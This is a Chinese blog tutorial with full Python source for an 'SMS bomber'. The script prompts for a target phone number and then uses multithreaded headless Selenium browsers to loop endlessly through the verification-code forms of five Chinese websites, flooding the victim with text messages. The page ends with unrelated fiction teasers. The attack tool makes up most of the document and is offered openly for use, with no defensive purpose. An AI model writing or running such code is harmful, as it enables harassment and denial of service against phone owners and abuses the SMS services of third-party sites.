python实现多进程短信轰炸

python实现多线程死循环并发短信轰炸器,100%包教学会

先看下图,给自己手机号发的验证码,由于是多线程死循环并发发送的,只简单截图示意,代码用python编写,用到技术有:多线程、类对象、selenium、xpath等常规编程方法,代码涉及隐私部分已经打码,源代码私聊。

image
image

1、安装 selenium,pip install selenium,导入time时间和threading线程模块

image

2、创建一个类,并写7个方法

初始化方法

打印发送次数方法

A网站发送验证码方法

B网站发送验证码方法

C网站发送验证码方法

D网站发送验证码方法

E网站发送验证码方法

3、初始化方法(init

初始化方法:设置发送的手机号码、发送次数计数器初始值

image

4、打印发送次数方法(send_yzm)

用到了format方法,不了解的可以百度,很常用的方法,time.sleep()设置延时

image

5、A网站发送验证码方法

其实轰炸器原理很简单,利用其它网站平台的发送验证码功能,实现用自己程序发送短信功能,用while循环实现死循环发送

1、创建driver对象,用的谷歌chromedriver.exe驱动

2、driver.get()方法,访问网址

3、driver.find_element_by_xpath()方法可以根据前端html\css的标签、类名、ID名找到元素,找到元素执行click方法

4、time.sleep(3)秒是等3秒元素加载出来再去找下一个元素,不加延时会报错

5、send_yzm是包含点击最后发送验证码按钮和打印发送次数

6、driver.quit()方法实现浏览器关闭,节约内存,因为是死循环,所以方法会重新运行,从而实现死循环发送

image

6、B网站发送验证码方法(后面不再一一介绍,只贴源码)

image

7、C网站发送验证码方法

image

8、D网站发送验证码方法

image

9、E网站发送验证码方法

image

10、调用这些方法

image

11、程序遇到的坑(chromedriver.exe设置)

查看chrome浏览器版本,chromedriver.exe和浏览器对应表下载对应chromedriver.exe

image

下载链接: http://chromedriver.storage.googleapis.com/index.html

下载后直接放到盘里面

image

将chromedriver.exe加入环境变量

image

from selenium import webdriver

import time

from threading import Thread

class HongZha(object):

    def __init__(self):

        self.phone = input('请输入您要轰炸的号码:')

        self.num = 0

        self.opt = webdriver.ChromeOptions()

        self.opt.add_argument('headless')

    def send_yzm(self,button,name):

        button.click()

        self.num+=1

        print("{}  第{}次  发送成功  {}".format(self.phone,self.num,name))

        time.sleep(65) #两次发送的间隔必须在60秒以上。所以这边定义的是65秒

    def zhihu(self,name):

        while True:

            path = "C:/Users/Administrator/AppData/Local/Programs/Python/Python36/chromedriver.exe"

            # 把chrome设置成无界面模式,不论windows还是linux都可以,自动适配对应参数

            # 创建chrome无界面对象

            driver = webdriver.Chrome(chrome_options=self.opt)

            # 隐式等待,selenium自带的等待功能,比较智能,网速快会自动跳过

            driver.implicitly_wait(10)

            driver.get("https://www.zhihu.com/question/39993344")

            driver.find_element_by_xpath ( "//button[@class='Button Button--primary Button--blue']" ).click ()

            tel = driver.find_element_by_xpath("//input[@placeholder='手机号']")

            tel.send_keys(self.phone)

            button = driver.find_element_by_xpath ( "//button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" )

            self.send_yzm(button,name)

            driver.quit ()

    def guazi(self,name):

        while True:

            # driver = webdriver.Chrome(executable_path="C:/Users/Administrator/AppData/Local/Programs/Python/Python36/chromedriver.exe")

            driver = webdriver.Chrome(chrome_options=self.opt)

            driver.implicitly_wait(10)

            driver.get ( "https://www.guazi.com/www/bj/buy" )

            a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )

            a_btn.click ()

            tel = driver.find_element_by_xpath ( "//input[@placeholder='请输入您的手机号码']" )

            tel.send_keys ( self.phone )

            button = driver.find_element_by_xpath ( "//button[@class='get-code']" )

            self.send_yzm ( button,name )

            driver.quit ()

    def wphui(self,name):

        while True:

            # driver = webdriver.Chrome(executable_path="C:/Users/Administrator/AppData/Local/Programs/Python/Python36/chromedriver.exe")

            driver = webdriver.Chrome(chrome_options=self.opt)

            driver.implicitly_wait(10)

            driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )

            tel = driver.find_element_by_xpath ( "//input[@placeholder='请输入手机号码']" )

            tel.send_keys ( self.phone )

            driver.find_element_by_xpath ( "//input[@placeholder='请输入手机验证码']" ).click()

            button = driver.find_element_by_xpath (

                "//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )

            self.send_yzm ( button,name )

            driver.quit ()

    def suning(self,name):

        while True:

            # driver = webdriver.Chrome(executable_path="C:/Users/Administrator/AppData/Local/Programs/Python/Python36/chromedriver.exe")

            driver = webdriver.Chrome(chrome_options=self.opt)

            driver.implicitly_wait(10)

            driver.get ( "https://reg.suning.com/person.do" )

            tel = driver.find_element_by_xpath ( "//input[@id='mobileAlias']" )

            tel.send_keys ( self.phone )

            button = driver.find_element_by_xpath (

                "//a[@id='sendSmsCode']" )

            self.send_yzm ( button,name )

            driver.quit ()

    def yhd(self,name):

        while True:

            # driver = webdriver.Chrome(executable_path="C:/Users/Administrator/AppData/Local/Programs/Python/Python36/chromedriver.exe")

            driver = webdriver.Chrome(chrome_options=self.opt)

            driver.implicitly_wait(10)

            driver.get ( "https://passport.yhd.com/passport/register_input.do" )

            driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("wujunya625")

            tel = driver.find_element_by_xpath ( "//input[@id='phone']" )

            tel.send_keys ( self.phone )

            button = driver.find_element_by_xpath (

                "//a[@class='receive_code fl same_code_btn r_disable_code ']" )

            button.click()

            self.send_yzm ( button,name )

            driver.quit ()

if __name__ == '__main__':

    hongzha = HongZha()

    zhihu = Thread(target=hongzha.zhihu,args=("知乎",))

    guazi = Thread ( target=hongzha.guazi,args=("瓜子",) )

    wphui = Thread(target=hongzha.wphui,args=("唯品会",))

    suning = Thread(target=hongzha.suning,args=("苏宁",))

    yhd    = Thread( target=hongzha.yhd,args=("一号店",) )

    zhihu.start()

    guazi.start()

    wphui.start()

    suning.start()

    yhd.start()

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,542评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,596评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 158,021评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,682评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,792评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,985评论 1 291
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,107评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,845评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,299评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,612评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,747评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,441评论 4 333
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,072评论 3 317
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,828评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,069评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,545评论 2 362
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,658评论 2 350

推荐阅读更多精彩内容